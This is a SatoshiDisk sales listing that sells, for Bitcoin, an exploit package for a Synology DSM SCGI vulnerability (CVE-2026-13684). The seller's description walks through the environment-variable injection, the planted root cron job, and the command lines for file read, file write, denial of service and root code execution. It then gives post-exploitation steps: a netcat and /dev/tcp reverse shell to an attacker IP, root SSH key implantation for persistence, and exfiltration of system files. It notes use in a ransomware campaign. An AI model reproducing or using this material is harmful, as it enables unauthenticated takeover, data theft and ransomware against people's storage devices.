SatoshiDisk Logo

Volume: CSoJTc

Price: 0.00189000 BTC

$148.25 USD (by current exchange rate)

Sale Count: Unlimited

Total: 1 file(s)

Hidden text contain: 0 symbol(s)

Download file(s):

CVE-2026-13684.zip 11.98KB

Info(Description by file owner):

# CVE-2026-13684 — Synology DSM: Improper Encoding/Escaping of Output in SCGI

**Unauthenticated remote exploit: arbitrary file read, arbitrary file write, and DoS**

| Field | Value |
|---|---|
| CVE | CVE-2026-13684 |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-116 — Improper Encoding or Escaping of Output |
| Component | `synoscgi` (the SCGI daemon fronting DSM's privileged CGI workers) |
| Affected | DSM before **7.2.1-69057-12**, **7.2.2-72806-9**, **7.3.2-86009-4**, **7.4-90075** |
| Fixed | 2026-09-18 — [Synology-SA-26:13](https://www.synology.com/en-global/security/advisory/Synology_SA_26_13) |
| In the wild | Attributed (360) as initial access for the C3RB3R / L0CK3D ransomware wave |

## Root cause

`SYNO::WebEntryCGI::HeaderToEnv()` in `/usr/syno/sbin/synoscgi` converts every
SCGI request environment pair (`NAME\0VALUE\0`) into an environment variable
of the privileged CGI worker via `setenv(name, value, 1)` **with no filtering
of the variable name**. Whoever can deliver an `LD_`-named pair into the SCGI
netstring therefore controls the environment of a privileged, dynamically
linked worker process.

The vendor fix is a single check: header names starting with `LD_` are blocked
before `setenv` and logged as `Blocked environment variable from header`.

## How the exploit works

1. **Environment-variable injection** — the exploit delivers the pairs
`LD_DEBUG=libs`, `LD_DEBUG_OUTPUT=`, `LD_LIBRARY_PATH=`
through the target's SCGI fronting endpoints. Three delivery vectors are
tried in order:
- **V1** raw SCGI netstring over TCP (`--raw-port`) — carries arbitrary
bytes, including newlines; full capability;
- **V2** POST form/query parameters (URL-encoded newlines survive);
- **V3** plain HTTP headers (newline-free payloads only).
2. **Dirty file write (arbitrary file write)** — with `LD_DEBUG` set, the
glibc dynamic linker of the worker process creates `.`
(glibc itself appends the PID) and writes its library-search trace there.
Because `LD_LIBRARY_PATH` entries are colon-separated, one entry may carry
newlines and spaces intact, so the written file ends up containing
attacker-planted lines.
3. **Embedded root job (read + RCE)** — the payload plants a syntactically
valid crontab entry inside the written file:
`* * * * * root sh -c ''` (a trailing space isolates the command
from the linker suffix that would otherwise be glued onto it). On targets
whose scheduler executes that artifact — cron(8) on the affected DSM
builds, per public analyses of this CVE family — the command runs as root
within ~60 seconds. The read action uses it to copy the requested file to
the web-served root (`/volume1/web/`), which the exploit then fetches over
HTTP — no outbound connection from the NAS required.
4. **DoS** — oversized header values, header-count floods, and (with
`--raw-port`) malformed/oversized SCGI netstrings against the synoscgi
endpoints.

## Usage

```bash
# Full run (recon + write/RCE + read) against a DSM instance
python3 exploit.py --target http://192.168.1.10:5000

# Read an arbitrary file (exfiltrated via web-served marker)
python3 exploit.py --target http://192.168.1.10 --action read --file /etc/synoinfo.conf

# Write an arbitrary file (artifact lands at '.')
python3 exploit.py --target http://192.168.1.10 --action write --path /etc/cron.d/poc

# DoS waves
python3 exploit.py --target http://192.168.1.10 --action dos --concurrency 64

# Full-capability vector against a directly reachable SCGI socket / SCGI lab
python3 exploit.py --target http://192.168.1.10 --raw-port 9000 --verbose

# Local end-to-end verification of the primitive (no target needed)
python3 exploit.py --selftest
```

Python 3.8+, standard library only, no dependencies.

## Gaining access after exploitation

The embedded root job fires **every minute** until removed, so embed an
idempotent command via `--command`:

**1. Reverse shell (immediate interactive access)**
```bash
# attacker side: nc -l 4444
python3 exploit.py --target http://192.168.1.10 \
--command "nc 192.168.1.99 4444 -e /bin/sh"
```
Within ~60 s (cron) a root reverse shell connects back. If `nc` is missing on
the DSM, use `busybox nc` or `exec 5/dev/tcp/192.168.1.99/4444; cat &5`.

**2. Persistent SSH access (recommended)**
```bash
python3 exploit.py --target http://192.168.1.10 \
--command "mkdir -p /root/.ssh && printf '%s\n' '' >> /root/.ssh/authorized_keys && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys && synoservice --start sshd"
```
Then simply `ssh [email protected]`. The key stays on the device — re-entry
without re-exploitation. If SSH is disabled on the DSM, `synoservice --start
sshd` (included above) enables it.

**3. Persistent cron job** — the embedded job itself lives in
`/etc/cron.d/.` and fires every minute; instead of a one-shot
command you can embed a long-running action (sync, listener, periodic
exfiltration).

**4. Recon / exfiltration** — already covered: `--action read --file
/etc/synoinfo.conf`, `/etc/passwd`, `/var/log/messages` (contents arrive on
stdout).

Buy volume CSoJTc for Bitcoins

Enter valid email to buy this volume:

Email:

We will send download links to this email address after payment confirmation.

Please note that SatoshiDisk does not provide support for the items purchased through a seller via us. If you have questions regarding your product, please contact the seller directly. We can't refund, change, rollback or cancel the transaction because of blockchain protocol. All sales are final.